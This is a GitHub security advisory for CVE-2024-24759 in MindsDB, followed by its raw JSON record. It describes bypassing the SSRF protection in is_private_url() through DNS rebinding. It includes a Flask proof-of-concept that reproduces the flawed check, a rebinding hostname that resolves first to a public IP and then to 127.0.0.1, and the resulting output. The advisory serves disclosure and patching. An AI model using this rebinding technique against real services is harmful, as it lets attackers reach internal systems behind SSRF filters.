GHSA-4jcv-vp96-94xr
Vulnerability from github
7.8 (High) - CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:N/SA:L
Summary
DNS rebinding is a method of manipulating resolution of domain names to let the initial DNS query hits an address and the second hits another one. For instance the host make-190.119.176.200-rebind-127.0.0.1-rr.1u.ms
would be initially resolved to 190.119.176.200
and the next DNS issue to 127.0.0.1
. Please notice the following in the latest codebase:
```python def is_private_url(url: str): """ Raises exception if url is private
:param url: url to check
"""
hostname = urlparse(url).hostname
if not hostname:
# Unable to find hostname in url
return True
ip = socket.gethostbyname(hostname)
return ipaddress.ip_address(ip).is_private
```
As you can see, during the call to is_private_url()
the initial DNS query would be issued by ip = socket.gethostbyname(hostname)
to an IP (public one) and then due to DNS Rebinding, the next GET request would goes to the private one.
PoC
```python from flask import Flask, request, jsonify from urllib.parse import urlparse import socket import ipaddress import requests
app = Flask(name)
def is_private_url(url: str): """ Raises exception if url is private
:param url: url to check
"""
hostname = urlparse(url).hostname
if not hostname:
# Unable to find hostname in url
return True
ip = socket.gethostbyname(hostname)
if ipaddress.ip_address(ip).is_private:
raise Exception(f"Private IP address found for {url}")
@app.route("/", methods=["GET"]) def index(): return "http://127.0.0.1:5000/check_private_url?url=https://www.google.Fr"
@app.route("/check_private_url", methods=["GET"]) def check_private_url(): url = request.args.get("url")
if not url:
return jsonify({"error": 'Missing "url" parameter'}), 400
try:
is_private_url(url)
response = requests.get(url)
return jsonify(
{
"url": url,
"is_private": False,
"text": response.text,
"status_code": response.status_code,
}
)
except Exception as e:
return jsonify({"url": url, "is_private": True, "error": str(e)})
if name == "main": app.run(debug=True)
```
After running the poc.py with flask installed, consider visiting the following URLs:
- http://127.0.0.1:5000/check_private_url?url=https://www.example.com since it is in the public space, you would get
is_private: false
and the GET request would be issued to the www.Example.com website. - http://127.0.0.1:5000/check_private_url?url=http://localhost:8667, this one the address is private, you would get
is_private: true
- http://127.0.0.1:5000/check_private_url?url=http://make-190.119.176.214-rebind-127.0.0.1-rr.1u.ms:8667/ But this one, it initially returns the public IP
190.119.176.214
and then DNS rebind into the network location127.0.0.1:8667
.
I set up a simple HTTP server at 127.0.0.1:8667
, you can notice the results of the PoC in the next screenshot:
``` { "is_private": false, "status_code": 200, "text": "
\npoc.py\n\n", "url": "http://make-190.119.176.214-rebind-127.0.0.1-rr.1u.ms:8667/" }
```
Impact
- Bypass the SSRF protection on the whole website with DNS Rebinding.
- DoS too.
{ "affected": [ { "package": { "ecosystem": "PyPI", "name": "mindsdb" }, "ranges": [ { "events": [ { "introduced": "0" }, { "fixed": "23.12.4.2" } ], "type": "ECOSYSTEM" } ] } ], "aliases": [ "CVE-2024-24759" ], "database_specific": { "cwe_ids": [ "CWE-350", "CWE-918" ], "github_reviewed": true, "github_reviewed_at": "2024-09-05T16:37:56Z", "nvd_published_at": "2024-09-05T17:15:12Z", "severity": "CRITICAL" }, "details": "### Summary\n\nDNS rebinding is a method of manipulating resolution of domain names to let the initial DNS query hits an address and the second hits another one. For instance the host `make-190.119.176.200-rebind-127.0.0.1-rr.1u.ms` would be initially resolved to `190.119.176.200` and the next DNS issue to `127.0.0.1`. Please notice the following in the latest codebase:\n\n```python\ndef is_private_url(url: str):\n \"\"\"\n Raises exception if url is private\n\n :param url: url to check\n \"\"\"\n\n hostname = urlparse(url).hostname\n if not hostname:\n # Unable to find hostname in url\n return True\n ip = socket.gethostbyname(hostname)\n return ipaddress.ip_address(ip).is_private\n\n``` \n\nAs you can see, during the call to `is_private_url()` the initial DNS query would be issued by `ip = socket.gethostbyname(hostname)` to an IP (public one) and then due to DNS Rebinding, the next GET request would goes to the private one.\n\n### PoC\n\n```python\nfrom flask import Flask, request, jsonify\nfrom urllib.parse import urlparse\nimport socket\nimport ipaddress\nimport requests\n\napp = Flask(__name__)\n\n\ndef is_private_url(url: str):\n \"\"\"\n Raises exception if url is private\n\n :param url: url to check\n \"\"\"\n\n hostname = urlparse(url).hostname\n if not hostname:\n # Unable to find hostname in url\n return True\n ip = socket.gethostbyname(hostname)\n if ipaddress.ip_address(ip).is_private:\n raise Exception(f\"Private IP address found for {url}\")\n\n\n@app.route(\"/\", methods=[\"GET\"])\ndef index():\n return \"http://127.0.0.1:5000/check_private_url?url=https://www.google.Fr\"\n\n\n@app.route(\"/check_private_url\", methods=[\"GET\"])\ndef check_private_url():\n url = request.args.get(\"url\")\n\n if not url:\n return jsonify({\"error\": \u0027Missing \"url\" parameter\u0027}), 400\n\n try:\n is_private_url(url)\n response = requests.get(url)\n\n return jsonify(\n {\n \"url\": url,\n \"is_private\": False,\n \"text\": response.text,\n \"status_code\": response.status_code,\n }\n )\n except Exception as e:\n return jsonify({\"url\": url, \"is_private\": True, \"error\": str(e)})\n\n\nif __name__ == \"__main__\":\n app.run(debug=True)\n\n```\n\nAfter running the poc.py with flask installed, consider visiting the following URLs:\n\n1. http://127.0.0.1:5000/check_private_url?url=https://www.example.com since it is in the public space, you would get `is_private: false` and the GET request would be issued to the www.Example.com website.\n3. http://127.0.0.1:5000/check_private_url?url=http://localhost:8667, this one the address is private, you would get `is_private: true`\n4. http://127.0.0.1:5000/check_private_url?url=http://make-190.119.176.214-rebind-127.0.0.1-rr.1u.ms:8667/ But this one, it initially returns the public IP `190.119.176.214` and then DNS rebind into the network location `127.0.0.1:8667`.\n\nI set up a simple HTTP server at `127.0.0.1:8667`, you can notice the results of the PoC in the next screenshot:\n\n```\n{\n \"is_private\": false,\n \"status_code\": 200,\n \"text\": \"\u003cpre\u003e\\n\u003ca href=\\\"poc.py\\\"\u003epoc.py\u003c/a\u003e\\n\u003c/pre\u003e\\n\",\n \"url\": \"http://make-190.119.176.214-rebind-127.0.0.1-rr.1u.ms:8667/\"\n}\n\n```\n\n\n### Impact\n - Bypass the SSRF protection on the whole website with DNS Rebinding.\n - DoS too.\n", "id": "GHSA-4jcv-vp96-94xr", "modified": "2024-09-05T18:39:00Z", "published": "2024-09-05T16:37:56Z", "references": [ { "type": "WEB", "url": "https://github.com/mindsdb/mindsdb/security/advisories/GHSA-4jcv-vp96-94xr" }, { "type": "ADVISORY", "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-24759" }, { "type": "WEB", "url": "https://github.com/mindsdb/mindsdb/commit/5f7496481bd3db1d06a2d2e62c0dce960a1fe12b" }, { "type": "PACKAGE", "url": "https://github.com/mindsdb/mindsdb" } ], "schema_version": "1.4.0", "severity": [ { "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:L", "type": "CVSS_V3" }, { "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:N/SA:L", "type": "CVSS_V4" } ], "summary": "MindsDB Vulnerable to Bypass of SSRF Protection with DNS Rebinding" }
- Seen: The vulnerability was mentioned, discussed, or seen somewhere by the user.
- Confirmed: The vulnerability is confirmed from an analyst perspective.
- Exploited: This vulnerability was exploited and seen by the user reporting the sighting.
- Patched: This vulnerability was successfully patched by the user reporting the sighting.
- Not exploited: This vulnerability was not exploited or seen by the user reporting the sighting.
- Not confirmed: The user expresses doubt about the veracity of the vulnerability.
- Not patched: This vulnerability was not successfully patched by the user reporting the sighting.